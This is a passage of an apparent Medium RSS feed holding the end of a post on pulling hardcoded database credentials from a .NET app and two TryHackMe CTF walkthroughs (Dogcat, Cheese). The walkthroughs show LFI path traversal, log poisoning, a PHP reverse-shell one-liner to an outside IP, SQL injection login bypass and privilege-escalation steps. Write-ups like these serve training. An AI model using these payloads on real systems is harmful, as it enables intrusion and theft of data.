contained some sort of credentials at the end of the query.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yLXPpO2tAbv2CaGLvS_j7w.png" /></figure><p>To dig deeper, I decided to decompile the application and see what was hidden beneath the surface.</p><p>I opened dnSpy, a powerful .NET decompiler, and started analyzing the application’s structure. As I navigated through its functions, I focused on the <strong>login function</strong>, suspecting it might hold something valuable.</p><p>And I wasn’t wrong.</p><p>Buried within the code, I found an <strong>internal IP address</strong> hardcoded directly into the application. But that wasn’t all. Right next to it were<strong> t</strong>he same credentials I had intercepted in plaintext via Wireshark<strong>.</strong> This confirmed that the application wasn’t just exposing sensitive data over the network; it also had <strong>hardcoded secrets embedded within its code</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*Eca-guOUTNTTmN2QnT0rYg.gif" /></figure><p>As I continued digging, I found even more — <strong>the name of the database and the exact version being used</strong>. This information could be crucial for an attacker, as outdated database versions often have known vulnerabilities that can be exploited.</p><p>After identifying the credentials within the application’s decompiled code and plaintext network traffic, I attempted to connect to the database server. To my surprise, the connection was <strong>successful</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VyDimEJFRtGBFDpZnz-Jfg.png" /></figure><p>After gaining access, I dumped highly sensitive data, including <strong>usernames, passwords, PII (names, emails, phone numbers), user-specific data, device details, and IP addresses</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*WAgks3rICF1UmuxN-4qfOA.png" /></figure><p>This was a stark reminder that encryption isn’t optional; it’s essential. Without it, sensitive data is just waiting to be exploited and Hardcoded credentials within the application further worsened the issue, granting unauthorized access with ease.</p><h3>THANK YOU !!</h3><p>LinkedIn: <a href="http://www.linkedin.com/in/fardinzindran">www.linkedin.com/in/fardinzindran</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=364727ebe7bc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DOGCAT CTF: Tryhackme Walkthrough]]></title>
            <link>https://medium.com/@fardinzindran/dogcat-ctf-tryhackme-walkthrough-1ff08cd6f4d3?source=rss-94b3887a2953------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ff08cd6f4d3</guid>
            <category><![CDATA[local-file-inclusion]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[docker-escape]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Ezhacker]]></dc:creator>
            <pubDate>Mon, 28 Oct 2024 10:34:33 GMT</pubDate>
            <atom:updated>2024-10-28T10:34:33.767Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7uibiOVGUEv-TcMG.jpg" /></figure><p>The Tryhackme Dogcat CTF was an intermediate Linux machine that involved capturing four flags. I first exploited an LFI vulnerability through Apache log poisoning to gain remote code execution (RCE) and a web shell. From there, I used the <strong>env </strong>binary with sudo permissions for privilege escalation. Finally, a misconfigured cronjob allowed me to escape the Docker container and access the underlying system, leading to root flag retrieval..</p><h3>Step-by-Step Breakdown of the DOGCAT CTF Challenge:</h3><ol><li><strong>Reconnaissance:</strong></li></ol><p>I began with an Nmap scan to enumerate open ports and services. The scan revealed port <strong>80</strong> (HTTP) was open, indicating a web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cWY_q5d9D3ufdZ1UBekrWA.png" /></figure><p>I navigated to the web application via a browser, discovering a PHP page that allowed users to submit URLs for “Dog” or “Cat” images.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GMPxsGODR85QPLgiejwvkw.png" /></figure><p>2. <strong>Enumeration:</strong></p><p>We have two buttons that lead to “/?view=dog” and “/?view=cat” respectively</p><p>?view= is taking care of calling the php files to execute the function that will show us at the end the doggies or kitties</p><pre>**include $_GET[&#39;view&#39;] . &quot;php&quot;;**</pre><p>The “?view=” query runs “include” on our parameter only if the word “dog” or “cat” is present &amp; The file automatically appends .php to our parameter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OL8sMrWMBbI2lT-AVJbjxw.png" /></figure><p>To find hidden files and directories, I used ffuf with the wordlist. This revealed several files, including cat.php, flag.php, dog.php &amp; index. Php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*ERrPvSdJ-nNQRJMe89o4SQ.png" /></figure><p>Exploiting LFI Vulnerability to access Hidden files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*WKRWbiTbFQ7u2GhgRKJrwg.png" /></figure><p>We are able to access flag. php file but we got no output back why? THINK!!!!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/0*xKM6BDoKdKR3SRie.gif" /></figure><p>REASON!!!</p><p>The reason you couldn’t see the content of the flag directly is due to how PHP’s include function works. This function is designed to execute PHP code from the included file rather than simply displaying its raw content. If the flag was stored in a non-PHP file, like a text file, it wouldn&#39;t be shown because PHP would try to run the file as if it contained PHP code. If the file doesn&#39;t have any valid PHP code, nothing would be displayed, or an error might occur, depending on the server&#39;s settings.</p><p>To read the contents of the flag file, you used a PHP filter wrapper. The php://filter wrapper lets you apply filters to a file&#39;s content before displaying it. One helpful filter is convert.base64-encode, which encodes the file&#39;s content in Base64. This way, you can access the raw content of any file, including text files, without PHP trying to execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LtxVGAx-rodCMWDy3zIdlQ.png" /></figure><p>FLAG1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*ILmcfiN-aSM7Mx3CucMeAw.png" /></figure><p>Access index.php page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*_rqPeL7zJnoWrRMkcGnZ-Q.png" /></figure><p>Decode this</p><pre>&lt;!DOCTYPE HTML&gt;<br>&lt;html&gt;<br><br>&lt;head&gt;<br>    &lt;title&gt;dogcat&lt;/title&gt;<br>    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/style.css&quot;&gt;<br>&lt;/head&gt;<br><br>&lt;body&gt;<br>    &lt;h1&gt;dogcat&lt;/h1&gt;<br>    &lt;i&gt;a gallery of various dogs or cats&lt;/i&gt;<br><br>    &lt;div&gt;<br>        &lt;h2&gt;What would you like to see?&lt;/h2&gt;<br>        &lt;a href=&quot;/?view=dog&quot;&gt;&lt;button id=&quot;dog&quot;&gt;A dog&lt;/button&gt;&lt;/a&gt; &lt;a href=&quot;/?view=cat&quot;&gt;&lt;button id=&quot;cat&quot;&gt;A cat&lt;/button&gt;&lt;/a&gt;&lt;br&gt;<br>        &lt;?php<br>            function containsStr($str, $substr) {<br>                return strpos($str, $substr) !== false;<br>            }<br>     $ext = isset($_GET[&quot;ext&quot;]) ? $_GET[&quot;ext&quot;] : &#39;.php&#39;;<br>            if(isset($_GET[&#39;view&#39;])) {<br>                if(containsStr($_GET[&#39;view&#39;], &#39;dog&#39;) || containsStr($_GET[&#39;view&#39;], &#39;cat&#39;)) {<br>                    echo &#39;Here you go!&#39;;<br>                    include $_GET[&#39;view&#39;] . $ext;<br>                } else {<br>                    echo &#39;Sorry, only dogs or cats are allowed.&#39;;<br>                }<br>            }<br>        ?&gt;<br>    &lt;/div&gt;<br>&lt;/body&gt;<br><br>&lt;/html&gt;</pre><p>The code looks at the URL to see if the user has passed an<strong> “ext”</strong> variable (which stands for file extension). If the user gives an extension, it uses that one. If they don’t give one, it automatically adds .php to the end.</p><h3>LFI TO RCE:</h3><p>Access /etc/passwd</p><pre>cat../../../../../../etc/passwd&amp;ext=</pre><p>By passing &amp;ext=, I left the extension blank, bypassing the server&#39;s logic to append .php to the file path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*B-vh8RY70lrrc-wyFyhW6g.png" /></figure><p>After successfully exploiting the LFI vulnerability to access /etc/passwd, my next step was to search for more sensitive files. I used <strong>Burp Suite Intruder</strong> to automate this process and identify files that could further expose the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gzUjvdTU2lm42jkiSxfE2Q.png" /></figure><p>After fuzzing with Burp Suite Intruder, I found the Apache log file at /var/log/apache2/access.log. This discovery opened up an opportunity for <strong>Remote Code Execution (RCE)</strong> through <strong>log poisoning</strong>.</p><p>Here i found The <strong>User-Agent</strong> header is getting logged into /var/log/apache2/access.log, allowing the server to store my PHP code.</p><p>Lets exploit this!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*AT0dTuLyZ-bzjB6P.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G-U1N3gaEKNCEbAiME2FUA.png" /></figure><p>Successfully executed log poisoning via LFI to gain command execution on the server. Next, lets attempt to establish a reverse shell by injecting a payload that connects back to my machine.</p><p>executed which php and which python3 to identify the installed PHP and Python versions on the machine. This helps assess the server&#39;s scripting capabilities and environment configuration</p><p>started Necat session in my machine and added this payload in url</p><pre>php -r &#39;$sock=fsockopen(&quot;10.17.10.29&quot;,4444);exec(&quot;sh &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);’<br><br>ENCODED<br><br>php%20-r%20%27%24sock%3Dfsockopen%28%2210.17.10.29%22%2C4444%29%3Bexec%28%22sh%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27</pre><p>add encoded form of payload in url</p><p>Got www-data user shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*7Ahi4L0VTaeokE_gQfgpSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*c2Gk7-vMcBrgU1qmouE6mw.png" /></figure><p>FLAG2:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*kcvEMSpBLeEI8KTuipR9xA.png" /></figure><p>Lets escalate privileges…..</p><p>I ran sudo -l and discovered I could execute /usr/bin/env without a password. I leveraged this to use a GTFOBins payload, successfully gaining a root shell on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*rUr6WfjQerGlMTuZ7iaogQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*G_9soIKPpTgke8x7FmqgQw.png" /></figure><p>FLAG3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*tZZ8_4w2isAK4FYHiJQdMg.png" /></figure><p>Upon gaining root shell access, I discovered that my permissions were limited, preventing me from viewing critical files such as /etc/shadow which contains user credentials.</p><p>Upon hunting the reason behind this i found i am in docker environment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*f8EHvkBrZuMXlI47f6EoHA.png" /></figure><p>The presence of the <strong>.dockerenv</strong> file in directory listing suggests that i am inside a Docker container. This hidden file is automatically created by Docker to help the container environment determine if it’s running inside a container.</p><p>EXPLAINATION!!!!!</p><p>When you’re inside a Docker container, you have access to a filesystem that is isolated from the host system. Even though you are running as “root” inside the container, your actions are confined to the container’s environment</p><h3>ESCAPING DOCKER TO ROOT</h3><p>after crawling from directories i found In /opt/backups there were two files, namely <a href="http://backup.sh/">backup.sh</a> and backup.tar , and the file <a href="http://backup.sh/">backup.sh</a> was seemed to be running after every minute and it was backing up data into backup.tar</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*-7D9_QRVjaUKyA9sV3PteA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*xwyGYYJALPp-TwpmjK-Xig.png" /></figure><p>This script runs as root and creates a backup archive of the /root/container directory. Since it’s executed by root, this offers a great opportunity for privilege escalation and potential container escape.</p><p>Add reverse shell payload inside the script and start Netcat listener</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AYatQuCK7fCLcz8tqNMxKg.png" /></figure><p>Wait for a minute till backup script execute.</p><p>FLAG 4:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*b3lwmS1T8tqxwxs2v91zVQ.png" /></figure><h3>THANK YOUUU!!!!!</h3><p>Follow me : <a href="https://www.linkedin.com/in/fardin-zindran-b09ba7202/">LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ff08cd6f4d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cheese CTF: TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@fardinzindran/cheese-ctf-tryhackme-walkthrough-a029ff082904?source=rss-94b3887a2953------2</link>
            <guid isPermaLink="false">https://medium.com/p/a029ff082904</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Ezhacker]]></dc:creator>
            <pubDate>Fri, 04 Oct 2024 12:01:42 GMT</pubDate>
            <atom:updated>2024-10-04T12:01:42.506Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vL09zbMjwuQK5aVMb_Ttdw.png" /></figure><p><strong>Welcome, fellow hackers!</strong> In this post, we’re diving into the <strong>Cheese CTF</strong> room on TryHackMe, a fun and challenging journey through various hacking techniques. We’ll begin by bypassing a login screen using SQL injection, leveraging a File Inclusion vulnerability to achieve Remote Code Execution (RCE), escalating user privileges, and ultimately, gaining root access. Let’s break down each step and uncover the hidden flags along the way!</p><h3><strong>Step-by-Step Breakdown of the Cheese CTF Challenge</strong></h3><h3><strong>1. Reconnaissance:</strong></h3><blockquote>Starting with reconnaissance, I used <strong>Nmap</strong> to scan for open ports on the target machine and discovered ports 21 (FTP), 22 (SSH), and 80 (HTTP) were accessible.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*r6cJTN9DKkIL1lLV5WCYqA.png" /><figcaption>Nmap Ping Scan for Open ports</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*tVUR9i_oEseL9a8-yp9Wqg.png" /><figcaption>Nmap aggressive scan for port 21,22,80</figcaption></figure><blockquote>I decided to focus on port 80, which hosted a web application. Upon visiting the site, I found a login page.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i7HvXk02qVcc-9tgKY9xCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s35p9hISKnNL-TeK0hZ2sg.png" /></figure><blockquote>I tested for <strong>SQL injection</strong> and successfully bypassed the login authentication. This granted me access to restricted parts of the application, where I discovered two hidden pages <strong>users.html</strong> and <strong>messages.html</strong></blockquote><h3><strong>2. Login Bypass via SQL injection</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*WmqLKNBYtxPKVMlIFTq2Ww.png" /><figcaption>Brute force login page with SQL-injection payloads</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f7ymxLbrrGUsW78QzIL7mA.png" /><figcaption>Login Bypass via SQL injection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*_0aQtd2-mbP0L5_PztWZCQ.png" /><figcaption>Hidden message page disclosure</figcaption></figure><blockquote>This URL indicates that the Secret-script.php file is dynamically loading content based on the file parameter. If this parameter is not properly sanitized, it could lead to a <strong>Local File Inclusion (LFI)</strong> vulnerability.</blockquote><p>By changing the value to point to the sensitive /etc/passwd file, I executed the following URL:</p><p><a href="http://10.10.61.0/secret-script.php?file=">http://IP-Address/secret-script.php?file=</a>/etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OHKyu08Q23llximsKohOoA.png" /></figure><p>Upon successfully extracting the contents of the /etc/passwd file, I found two significant user accounts Comte &amp; Root</p><h3><strong>3. LFI TO RCE:</strong></h3><blockquote>Upon identifying the ability to include files through the URL parameter, I recalled that PHP supports various filters that can manipulate the input and execute it as code.This made me think about using a PHP filter chain to fetch and execute a remote script. Since there was a file inclusion vulnerability, it suggested a way to run arbitrary code on the server.</blockquote><p>I found an excellent resource that outlines the commands needed to set up and host a remote file, as well as the steps for executing the filter chain exploit. You can check it out <a href="https://exploit-notes.hdks.org/exploit/web/security-risk/php-filters-chain/">here</a>. This guide provided valuable insights that helped me understand the process better and successfully execute the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wWyEnWU0yqHrFV0Y9bHv0Q.png" /><figcaption>Generate the payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*SPrm1nxpqSxnG956Nfp0Eg.png" /><figcaption>paste the above generated payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*FVxPlzSh6mIXNfkidiHzUA.png" /><figcaption>Web sell via LFI</figcaption></figure><h3><strong>4. Privilege Escalation:</strong></h3><blockquote>After successfully obtaining a web shell as the <strong>www-data</strong> user through the PHP filter chain, the next goal was to gain access to the <strong>comte </strong>user account. With <strong>www-data</strong> privileges, I began exploring the system for potential paths to escalate my access.</blockquote><p>Upon navigating to the /home/comte directory, I discovered a file named user.txt. However, when I attempted to read it using cat, I encountered a “permission denied” error. I decided to look for hidden directories by running ls -al</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*kbHItMTXdGk0HbsJOGH8dQ.png" /></figure><blockquote>I discovered a .ssh directory containing an <strong>authorized_keys file</strong>, which surprisingly had read and write permissions for <strong>everyone</strong>. This was a valuable opportunity, as I could modify the file to add my own SSH key. Doing this would allow me to access the comte user account without needing the password, paving the way for my next step in privilege escalation.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*wDzKPlBM8RBmZnmRPE8wTQ.png" /><figcaption>Generate your ssh key via SSH-Keygen</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p7lcjrjXrq9tnBKhtgH9gw.png" /><figcaption>copy your public key</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eKzr33YEj9AaMRVx-JFfDA.png" /><figcaption>Add you public key in Authorized_keys file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*ur-pdPSwk7u6Ub1ONkLP0g.png" /><figcaption>Got Comte user Access</figcaption></figure><h4>FLAG1:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*wAL7-ShUHFQzsBgqnCYRpg.png" /></figure><h3>5. USER COMTE TO ROOT</h3><p>After gaining SSH access as the comte user, I ran the sudo -l command to check my privileges. This revealed that I had the ability to execute the /bin/systemctl command as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*Fh2c9ZIVAnc4TuAkvhrYFg.png" /><figcaption>user comte can run systemctl with no password</figcaption></figure><blockquote>I ran Lin-peas, which provided valuable insights into the system’s configuration. One finding was that I had read and write access to the<strong>/etc/systemd/system/exploit.timer</strong> file. This indicated a potential vector for privilege escalation, as I could modify the timer&#39;s configuration to execute arbitrary commands with elevated privileges.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LvAsiHPhkB3CsryU_NHHWQ.png" /><figcaption>1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*3Qfd4IvCqx2qm3VKGIRqKg.png" /></figure><p>I modified the exploit.timer configuration to set <strong>OnBootSec=4sec</strong>, which means the timer would trigger four seconds after the system boots, allowing me to execute my payload shortly after the reboot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*XptlJltwVA8_yMiXHnNYXA.png" /></figure><p>Upon inspecting the exploit.service file, I found it contained commands to copy the <strong>xxd </strong>binary to the <strong>/opt </strong>directory and set the SUID bit on it. This means that once the service runs, anyone executing the copied <strong>xxd </strong>file in<strong> /opt</strong> would do so with root privileges, providing a potential escalation path to gain full control over the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*WV7WowualF58TJ0gcdEGxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*U7iKmJ33tew9smOgEPeQPg.png" /></figure><p>After starting the exploit.timer, the service created the <strong>xxd </strong>binary in the /opt/ directory, owned by root and with the SUID bit set. I then utilized a payload from GTFOBins to escalate my privileges and successfully gained root access. Finally, I was able to retrieve the root flag, marking the completion of the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*SmbXbbzlwNUbQguGX8qy1Q.png" /></figure><h3>THANK YOU!!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*8MfvZdDujeKq38DcP01vbQ.gif" /></figure><p>Follow me : <a href="https://www.linkedin.com/in/fardin-zindran-b09ba7202/">LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a029ff082904" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>